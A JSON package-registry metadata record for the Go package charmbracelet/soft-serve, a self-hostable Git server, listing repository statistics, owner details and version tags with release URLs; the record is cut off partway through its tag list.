{"id":4187796,"name":"github.com/charmbracelet/soft-serve","ecosystem":"go","description":"","homepage":"https://github.com/charmbracelet/soft-serve","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/charmbracelet/soft-serve","keywords_array":[],"namespace":"github.com/charmbracelet","versions_count":55,"first_release_published_at":"2021-12-07T02:18:40.000Z","latest_release_published_at":"2026-08-07T19:19:50.000Z","latest_release_number":"v0.12.2","last_synced_at":"2026-10-03T10:17:20.456Z","created_at":"2022-04-12T19:41:58.171Z","updated_at":"2026-10-04T07:15:53.218Z","registry_url":"https://pkg.go.dev/github.com/charmbracelet/soft-serve","install_command":"go get github.com/charmbracelet/soft-serve","documentation_url":"https://pkg.go.dev/github.com/charmbracelet/soft-serve#section-documentation","metadata":null,"repo_metadata":{"id":37495300,"uuid":"391209033","full_name":"charmbracelet/soft-serve","owner":"charmbracelet","description":"The mighty, self-hostable Git server for the command line🍦","archived":false,"fork":false,"pushed_at":"2026-10-01T08:03:37.000Z","size":22473,"stargazers_count":7243,"open_issues_count":82,"forks_count":245,"subscribers_count":36,"default_branch":"main","last_synced_at":"2026-10-02T10:44:18.668Z","etag":null,"topics":["git","golang","ssh"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/charmbracelet.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2021-07-30T23:32:44.000Z","updated_at":"2026-10-01T20:38:06.000Z","dependencies_parsed_at":"2023-10-02T16:22:24.191Z","dependency_job_id":"d52cc2d2-2baf-4ea5-ada7-6f11e65497e1","html_url":"https://github.com/charmbracelet/soft-serve","commit_stats":{"total_commits":767,"total_committers":23,"mean_commits":33.34782608695652,"dds":"0.44198174706649285","last_synced_commit":"a2eac81cd34e8d2be5bf2f5cc7e57606b4b3efd4"},"previous_names":[],"tags_count":51,"template":false,"template_full_name":null,"purl":"pkg:github/charmbracelet/soft-serve","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/charmbracelet","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":342542704,"owners_count":37942974,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-10-02T02:00:07.254Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"charmbracelet","name":"Charm","uuid":"57376114","kind":"organization","description":"We make the command line glamorous.","email":"vt100@charm.land","website":"https://charm.land/","location":"/dev/tty","twitter":"charmcli","company":null,"icon_url":"https://avatars.githubusercontent.com/u/57376114?v=4","repositories_count":56,"last_synced_at":"2026-10-02T01:05:46.591Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/charmbracelet","funding_links":[],"total_stars":221992,"followers":16307,"following":0,"created_at":"2022-11-14T08:02:11.641Z","updated_at":"2026-10-02T01:05:46.602Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/charmbracelet","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/charmbracelet/repositories"},"tags":[{"name":"v0.11.6","sha":"80490de86ee94fa584aa64541290272aeba20d7e","kind":"tag","published_at":"2026-03-19T14:41:05.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.11.6","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.11.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.6/manifests"},{"name":"v0.11.5","sha":"879ece7c24bc92b25e1fb0a4da33049ed8b8332a","kind":"tag","published_at":"2026-03-06T01:34:32.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.11.5","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.5/manifests"},{"name":"v0.11.4","sha":"3ef660098ab37a7950457da8ecc25b516e37ce4e","kind":"tag","published_at":"2026-03-05T21:09:28.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.11.4","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.4/manifests"},{"name":"v0.11.3","sha":"8539f9ad39918b67d612a35785a2b4326efc8741","kind":"tag","published_at":"2026-01-21T22:00:39.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.11.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.3/manifests"},{"name":"v0.11.2","sha":"000ab5164f0be68cf1ea6b6e7227f11c0e388a42","kind":"tag","published_at":"2026-01-08T17:40:50.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.11.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"bb73b9a0eea0d902da4811420535842a4f9aae3b","kind":"commit","published_at":"2025-11-10T13:32:09.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.11.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"d9639320b8d0ccd76fe6836a042c042b0ebde549","kind":"tag","published_at":"2025-11-06T18:16:06.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.11.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"6856877cd42acf302776258142009c4ffc0d0fa0","kind":"tag","published_at":"2025-08-27T19:42:42.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.10.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.10.0/manifests"},{"name":"v0.9.1","sha":"8e6fd530129a5f70535c7680bc9036ecd5c3cb8c","kind":"tag","published_at":"2025-07-03T18:04:50.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.9.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"28de5aa0ec941a1fcc7bb6eb95df218807b418ee","kind":"tag","published_at":"2025-07-03T17:19:34.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.9.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.9.0/manifests"},{"name":"v0.8.5","sha":"d299f527a73cac710f47192be5a21a1c4b72bdc3","kind":"tag","published_at":"2025-03-25T20:42:20.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.8.5","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.5/manifests"},{"name":"v0.8.4","sha":"f23cdc41db922a8d236e812fb2ffd422f484d858","kind":"tag","published_at":"2025-03-20T16:43:12.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.8.4","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.4/manifests"},{"name":"v0.8.3","sha":"09567524700e631b1a9b371ebbc577c3b2108091","kind":"tag","published_at":"2025-03-20T15:09:10.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.8.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"22d00e9db31e1f4d0c32beae1e8733883f4d80d8","kind":"tag","published_at":"2025-01-07T11:32:40.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.8.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"14729ba44538f5cad9bcf84f64c08356fb8a798d","kind":"tag","published_at":"2024-12-11T18:31:46.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.8.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"c78da07b43142f7228e1b345d3cd4618a6d626a1","kind":"tag","published_at":"2024-12-09T15:39:50.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.8.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.8.0/manifests"},{"name":"v0.7.6","sha":"f23ea48c913d6f907f499e0315c4658632d20d29","kind":"tag","published_at":"2024-07-31T21:15:30.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.7.6","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"876db8d25a193b9f22b0eb4388f0991c39bf1e30","kind":"tag","published_at":"2024-07-31T19:39:55.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.7.5","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"d483565987dc127bab80191666411966fe27dde4","kind":"tag","published_at":"2023-12-07T14:51:25.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.7.4","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"63786d05e03f584f80d32f56bc77f4a8a87e4d2f","kind":"tag","published_at":"2023-11-27T17:32:53.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.7.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"e0148ca697c9617a36dc96d806720644c38f87a6","kind":"tag","published_at":"2023-11-16T16:45:04.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.7.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"03ba1abb0c6f40604193f8abdf6e29f28e779129","kind":"tag","published_at":"2023-11-01T16:12:31.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.7.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.7.1/manifests"},{"name":"v0.6.2","sha":"6f0a418a36db7ee867ebcf775558fbe0159d96a6","kind":"tag","published_at":"2023-10-02T16:11:20.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.6.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9021825f7be1015bb278ce4df4d464830be9c6e7","kind":"tag","published_at":"2023-09-13T17:42:05.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.6.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"fd167be7d2b233cc17555b7df2927bb16b928d97","kind":"tag","published_at":"2023-08-28T13:10:09.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.6.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.6.0/manifests"},{"name":"v0.5.5","sha":"fee41f43bf9a7b5d2b50d1aee0c989205a79fd46","kind":"tag","published_at":"2023-07-18T16:11:05.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.5.5","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"9b8e183e04086d63a10ca5a8a4473c3a4374f869","kind":"tag","published_at":"2023-05-16T22:01:00.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.5.4","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"b07de747b54ae033d6f2cf2a061f852034a39911","kind":"tag","published_at":"2023-05-11T20:07:59.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.5.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"c93630ece1ee9b1811dbfefc7c27ddc3c222cf10","kind":"tag","published_at":"2023-05-05T16:20:25.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.5.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"2624e60ee751ddd86b8d4588e97d774a576bc430","kind":"tag","published_at":"2023-05-03T18:31:04.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.5.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"91a1e40ba11c088e8bb3558b8a7afcd5306e791c","kind":"tag","published_at":"2023-05-02T13:13:26.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.5.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.5.0/manifests"},{"name":"v0.4.7","sha":"5149978832d379c611b81cc0e6e029bb17469bb6","kind":"tag","published_at":"2023-03-28T15:28:17.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.7","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"be762627e37ff27d0065f8e00a3f796b19e4064d","kind":"tag","published_at":"2023-02-21T20:20:56.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.6","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"f227b4c3e8e700de5f33246f9aab6a2f313d022c","kind":"tag","published_at":"2023-01-30T19:04:34.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.5","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"7a7e73dda8cf32681cc31bedf64055f0094a2e21","kind":"tag","published_at":"2022-11-17T22:31:17.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.4","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"b41e50d82c8de2ca78af96e4f350e746ee0d3909","kind":"tag","published_at":"2022-11-17T19:56:30.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"8979f6b7d78af74ac3cc664f25aed3f5d10d7e41","kind":"tag","published_at":"2022-11-17T18:43:22.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"494ecb10a492309cd